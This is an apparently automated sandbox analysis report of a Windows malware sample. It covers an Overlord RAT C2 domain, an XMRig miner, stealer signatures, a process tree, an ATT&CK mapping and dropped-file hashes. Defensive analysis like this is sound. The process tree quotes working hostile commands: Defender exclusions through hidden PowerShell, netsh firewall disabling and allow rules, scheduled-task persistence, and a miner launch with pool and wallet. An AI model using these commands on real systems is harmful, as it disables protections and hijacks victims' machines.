Overview

overview

10

Static

static

3

2026-11-10...at.exe

windows10-2004-x64

10

2026-11-10...at.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    85s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    11/11/2026, 19:13

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-11-10_d26cac3f341f9a28d153c9d19fbc53c7_akira_cobalt-strike_quasar-rat.exe
  • Size 789KB
  • Sample261111-xw36tabv2n
  • SHA256 5f84f437a101042a96febb7b28dc49ca5731fafb1f4b0a66503a81e4f5b8f9c8
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutionoverlordxmrigminerpersistenceprivilege_escalationratspywarestealertrojan

Malware Config

Extracted

Family

  • overlord

C2

  • 734r7hw4s32wehashwdz273dn323eeasd.antimalwarediagnostics.st

Extracted

Family

  • overlord

C2

  • 734r7hw4s32wehashwdz273dn323eeasd.antimalwarediagnostics.st

Signatures

  • Family: Overlord

    Overlord is an open-source Windows RAT written in Golang.

    ratoverlord
  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Detects Overlord RAT 2 IoCs
  • Custom signature
    Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 5 IoCs
  • Custom signature
    Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 2 IoCs
  • Custom signature
    Detects executables containing SQL queries to confidential data stores. Observed in infostealers 5 IoCs
  • Custom signature
    Detects executables containing URLs to raw contents of a Github gist 5 IoCs
  • XMRig Miner payload 13 IoCs
    miner
  • Command and Scripting Interpreter: PowerShell 1 TTPs 47 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 2 IoCs
  • Modifies Windows Firewall 2 TTPs 20 IoCs
    defense_evasion
  • Executes a file named after a Windows system binary 1 TTPs 3 IoCs

    The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

    defense_evasion
  • Executes dropped EXE 10 IoCs
  • Loads dropped DLL 39 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Windows security bypass 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Suspicious use of SetThreadContext 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 60 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 10 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-11-10_d26cac3f341f9a28d153c9d19fbc53c7_akira_cobalt-strike_quasar-rat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-11-10_d26cac3f341f9a28d153c9d19fbc53c7_akira_cobalt-strike_quasar-rat.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious use of WriteProcessMemory
    PID:3552
    • C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\python.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\python.exe" C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\loader.py
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of WriteProcessMemory
      PID:1796
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'powershell.exe' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2708
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'python.exe' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4264
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'pythonw.exe' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4788
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'AntiMalwareServiceExecutable.exe' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:5660
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'Notepad.exe' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:5308
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'cmd.exe' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4716
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'svhost.exe' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:3684
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'SecurityHealthService.exe' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:3864
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'WindowsSecurityService.exe' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:3360
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"$env:LOCALAPPDATA\Temp\" -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:3416
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"$env:APPDATA\Microsoft\" -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4848
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"$env:USERPROFILE\Downloads\" -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:476
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
          PID:3060
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /F /IM Telegram.exe
          3⤵
          • Kills process with taskkill
          PID:4512
        • C:\Users\Admin\AppData\Local\Temp\AntiMalwareServiceExecutable.exe
          C:\Users\Admin\AppData\Local\Temp\AntiMalwareServiceExecutable.exe
          3⤵
          • Downloads MZ/PE file
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Reads the TCP/IP host and domain name from the registry
          • Checks processor information in registry
          • Suspicious use of WriteProcessMemory
          PID:4752
          • C:\Windows\system32\notepad.exe
            "C:\Windows\system32\notepad.exe" --donate-level 3 -o xmr.kryptex.network:7029 -u 85qjhfomDL9TTq4hy28s2nLBzEeGUPYdDguCZ4TPCS9EgmGSNobJikH1oigmpYJFFF1igvJHMJxX4WJcL3fPRkCx2qTHPWR -p x --cpu-max-threads-hint=100 -a rx/0 --http-port 8888
            4⤵
            • Suspicious use of FindShellTrayWindow
            PID:4848
          • C:\Windows\system32\notepad.exe
            "C:\Windows\system32\notepad.exe" --donate-level 3 -o xmr.kryptex.network:7029 -u 85qjhfomDL9TTq4hy28s2nLBzEeGUPYdDguCZ4TPCS9EgmGSNobJikH1oigmpYJFFF1igvJHMJxX4WJcL3fPRkCx2qTHPWR -p x --cpu-max-threads-hint=100 -a rx/0 --http-port 8888
            4⤵
            • Suspicious use of FindShellTrayWindow
            PID:2340
        • C:\Users\Admin\AppData\Local\Temp\svhost.exe
          C:\Users\Admin\AppData\Local\Temp\svhost.exe
          3⤵
          • Executes dropped EXE
          • Reads the TCP/IP host and domain name from the registry
          • Checks processor information in registry
          • Suspicious use of WriteProcessMemory
          PID:4012
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\svhost.exe.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'svhost.exe_139cb51b' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:3592
        • C:\Users\Admin\AppData\Local\Temp\SecurityHealthService.exe
          C:\Users\Admin\AppData\Local\Temp\SecurityHealthService.exe
          3⤵
          • Executes a file named after a Windows system binary
          • Executes dropped EXE
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2172
          • C:\Windows\system32\schtasks.exe
            "schtasks" /Delete /TN MicrosoftEdgeUpdateTaskMachine /F
            4⤵
              PID:4404
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'SecurityHealthService.exe' -ErrorAction SilentlyContinue"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:960
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft' -ErrorAction SilentlyContinue"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:2476
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:2812
            • C:\Windows\system32\schtasks.exe
              "schtasks" /Create /TN MicrosoftEdgeUpdateTaskMachineCore /XML C:\Users\Admin\AppData\Local\Temp\task.xml /F
              4⤵
              • Scheduled Task/Job: Scheduled Task
              PID:1732
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'wildrig.exe' -ErrorAction SilentlyContinue"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4144
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'wildrig.exe' -ErrorAction SilentlyContinue"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              PID:5392
            • C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exe
              "C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exe"
              4⤵
              • Executes dropped EXE
              PID:4772
          • C:\Users\Admin\AppData\Local\Temp\WindowsSecurityService.exe
            C:\Users\Admin\AppData\Local\Temp\WindowsSecurityService.exe
            3⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:4688
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft' -ErrorAction SilentlyContinue"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:6016
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'WindowsSecurityService.exe' -ErrorAction SilentlyContinue"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4840
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'pawns-sdk.dll' -ErrorAction SilentlyContinue"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:52
            • C:\Windows\system32\netsh.exe
              "netsh" advfirewall set allprofiles state off
              4⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:3576
            • C:\Windows\system32\netsh.exe
              "netsh" advfirewall set allprofiles settings notifyonlisten disable
              4⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:1116
            • C:\Windows\system32\reg.exe
              "reg" add "HKLM\SOFTWARE\Microsoft\Security Center" /v FirewallDisableNotify /t REG_DWORD /d 1 /f
              4⤵
              • Windows security bypass
              PID:1464
            • C:\Windows\system32\netsh.exe
              "netsh" advfirewall firewall delete rule name=PawnsSDK_Exe_In
              4⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:3116
              • C:\Windows\System32\Conhost.exe
                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                5⤵
                  PID:4404
              • C:\Windows\system32\netsh.exe
                "netsh" advfirewall firewall delete rule name=PawnsSDK_Exe_Out
                4⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:4368
              • C:\Windows\system32\netsh.exe
                "netsh" advfirewall firewall delete rule name=PawnsSDK_Dll_In
                4⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:1096
              • C:\Windows\system32\netsh.exe
                "netsh" advfirewall firewall delete rule name=PawnsSDK_Dll_Out
                4⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:5408
              • C:\Windows\system32\netsh.exe
                "netsh" advfirewall firewall add rule name=PawnsSDK_Exe_In dir=in action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\WindowsSecurityService.exe enable=yes profile=any
                4⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:5552
              • C:\Windows\system32\netsh.exe
                "netsh" advfirewall firewall add rule name=PawnsSDK_Exe_Out dir=out action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\WindowsSecurityService.exe enable=yes profile=any
                4⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:4536
              • C:\Windows\system32\netsh.exe
                "netsh" advfirewall firewall add rule name=PawnsSDK_Dll_In dir=in action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\pawns-sdk.dll enable=yes profile=any
                4⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:3320
              • C:\Windows\system32\netsh.exe
                "netsh" advfirewall firewall add rule name=PawnsSDK_Dll_Out dir=out action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\pawns-sdk.dll enable=yes profile=any
                4⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:5492
              • C:\Windows\system32\schtasks.exe
                "schtasks" /Create /TN MicrosoftSecurityHealthService /XML C:\Users\Admin\AppData\Local\Temp\task.xml /F
                4⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5752
              • C:\Users\Admin\AppData\Roaming\Microsoft\WindowsSecurityService.exe
                "C:\Users\Admin\AppData\Roaming\Microsoft\WindowsSecurityService.exe"
                4⤵
                • Executes dropped EXE
                PID:2600
        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
          1⤵
            PID:5724
          • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
            "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
            1⤵
              PID:1984
            • C:\Users\Admin\AppData\Roaming\Microsoft\AntiMalwareServiceExecutable.exe
              C:\Users\Admin\AppData\Roaming\Microsoft\AntiMalwareServiceExecutable.exe
              1⤵
              • Executes dropped EXE
              PID:3456
            • C:\Windows\System32\ShellHost.exe
              "C:\Windows\System32\ShellHost.exe"
              1⤵
              • Suspicious use of SetWindowsHookEx
              PID:3480
            • C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exe
              C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exe
              1⤵
              • Executes a file named after a Windows system binary
              • Executes dropped EXE
              PID:2352
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k GPSvcGroup
              1⤵
                PID:936
              • C:\Users\Admin\AppData\Roaming\Microsoft\WindowsSecurityService.exe
                C:\Users\Admin\AppData\Roaming\Microsoft\WindowsSecurityService.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:3612
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft' -ErrorAction SilentlyContinue"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:5592
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'WindowsSecurityService.exe' -ErrorAction SilentlyContinue"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:4240
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'pawns-sdk.dll' -ErrorAction SilentlyContinue"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:4796
                • C:\Windows\system32\netsh.exe
                  "netsh" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:4784
                • C:\Windows\system32\netsh.exe
                  "netsh" advfirewall set allprofiles settings notifyonlisten disable
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:1536
                • C:\Windows\system32\reg.exe
                  "reg" add "HKLM\SOFTWARE\Microsoft\Security Center" /v FirewallDisableNotify /t REG_DWORD /d 1 /f
                  2⤵
                  • Windows security bypass
                  PID:3468
                • C:\Windows\system32\netsh.exe
                  "netsh" advfirewall firewall delete rule name=PawnsSDK_Exe_In
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:5408
                • C:\Windows\system32\netsh.exe
                  "netsh" advfirewall firewall delete rule name=PawnsSDK_Exe_Out
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:900
                • C:\Windows\system32\netsh.exe
                  "netsh" advfirewall firewall delete rule name=PawnsSDK_Dll_In
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:4536
                • C:\Windows\system32\netsh.exe
                  "netsh" advfirewall firewall delete rule name=PawnsSDK_Dll_Out
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:2564
                • C:\Windows\system32\netsh.exe
                  "netsh" advfirewall firewall add rule name=PawnsSDK_Exe_In dir=in action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\WindowsSecurityService.exe enable=yes profile=any
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:5704
                • C:\Windows\system32\netsh.exe
                  "netsh" advfirewall firewall add rule name=PawnsSDK_Exe_Out dir=out action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\WindowsSecurityService.exe enable=yes profile=any
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:4020
                • C:\Windows\system32\netsh.exe
                  "netsh" advfirewall firewall add rule name=PawnsSDK_Dll_In dir=in action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\pawns-sdk.dll enable=yes profile=any
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:5884
                • C:\Windows\system32\netsh.exe
                  "netsh" advfirewall firewall add rule name=PawnsSDK_Dll_Out dir=out action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\pawns-sdk.dll enable=yes profile=any
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:8

              Network

                    MITRE ATT&CK Enterprise v16

                    Reconnaissance

                    Resource Development

                    Initial Access

                    Execution

                    Command and Scripting Interpreter

                    1
                    T1059

                    PowerShell

                    1
                    T1059.001

                    Scheduled Task/Job

                    1
                    T1053

                    Scheduled Task

                    1
                    T1053.005

                    Persistence

                    Create or Modify System Process

                    1
                    T1543

                    Windows Service

                    1
                    T1543.003

                    Event Triggered Execution

                    1
                    T1546

                    Netsh Helper DLL

                    1
                    T1546.007

                    Scheduled Task/Job

                    1
                    T1053

                    Scheduled Task

                    1
                    T1053.005

                    Privilege Escalation

                    Create or Modify System Process

                    1
                    T1543

                    Windows Service

                    1
                    T1543.003

                    Event Triggered Execution

                    1
                    T1546

                    Netsh Helper DLL

                    1
                    T1546.007

                    Scheduled Task/Job

                    1
                    T1053

                    Scheduled Task

                    1
                    T1053.005

                    Defense Evasion

                    Impair Defenses

                    2
                    T1562

                    Disable or Modify System Firewall

                    1
                    T1562.004

                    Disable or Modify Tools

                    1
                    T1562.001

                    Masquerading

                    1
                    T1036

                    Match Legitimate Name or Location

                    1
                    T1036.005

                    Modify Registry

                    1
                    T1112

                    Credential Access

                    Credentials from Password Stores

                    1
                    T1555

                    Credentials from Web Browsers

                    1
                    T1555.003

                    Unsecured Credentials

                    2
                    T1552

                    Credentials In Files

                    1
                    T1552.001

                    Credentials in Registry

                    1
                    T1552.002

                    Discovery

                    Query Registry

                    2
                    T1012

                    System Information Discovery

                    1
                    T1082

                    System Network Configuration Discovery

                    1
                    T1016

                    Lateral Movement

                    Collection

                    Data from Local System

                    2
                    T1005

                    Command and Control

                    Exfiltration

                    Impact

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 a976a31824c3a0cc2a6b0fd9ec6045c398d82990e5e96df2ad86ba09a9b05be5
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 287307bc450d600c2d2233396ad78e35ee001205892e0d2fc4efa4360072a1f1
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 e86ea29d5aaa9164cc3269e41b61e7ae574db7ed89ad3391ac83a29aee93c4ab
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 58a501df1116d1fe605606f9c77a8e35adeb6d7c636902510b1550d663530369
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 4f616bb31a02d56a1f4fb0c83beb05f0d639994faa68b758b2b4757cdd8bbf55
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 c3eca1ec6f65452a3a8c3b797f54095da9dd00543cf6f3838b583d961f906869
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 f70bb68d659ff924f14a3621b5552203d20960401b9f3d761b63322a77544fc8
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 93de6a0da32b834563f75b8c94b50fc1688d806718d17a4d0b84595a34deb1bd
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 d6adf751a6c0c74bed0bd08508cb3078afcaaba6514718c0db9792bb6a1a02fa
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    __PSScriptPolicyTest_4nvk0rul.4ab.ps1
                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4nvk0rul.4ab.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    svhost.exe.exe
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\svhost.exe.exe
                    • Size 10.5MB
                    • SHA256 59612f52b72988c5028f549c97926755c6ced681708793cb8d052b2bd3a5d68b
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    AES.py
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\Crypto\Cipher\AES.py
                    • Size 12KB
                    • SHA256 9d07a7461db781b5fd107589bebeb118e69686ef292930039159f08f9cbe6612
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    __init__.py
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\Crypto\Cipher\__init__.py
                    • Size 4KB
                    • SHA256 d7f7c98b77761b301d1636b425af5c75cb72095d9083ec23da503c7509c6f02b
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    __init__.py
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\Crypto\Random\__init__.py
                    • Size 1KB
                    • SHA256 28f3d1bda93153c01b49e06d292f681e538d729954582b88d628800a960eeaba
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    __init__.py
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\Crypto\Util\__init__.py
                    • Size 1KB
                    • SHA256 8c875b3fbd34cc64eb65016e7a598389a54cb8df2370b249b6201e40afc97b12
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    _cpu_features.py
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\Crypto\Util\_cpu_features.py
                    • Size 2KB
                    • SHA256 d82732265751f753a19dfa4dc48a312267e992110d39cce5be9adf828ba0fcd4
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    _cpuid_c.pyd
                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\Crypto\Util\_cpuid_c.pyd
                    • Size 10KB
                    • SHA256 5ae5523787b53dcd4a5bcc63898d2cdb2254f1df1c5c473668487c8662eb1f00
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    _file_system.py
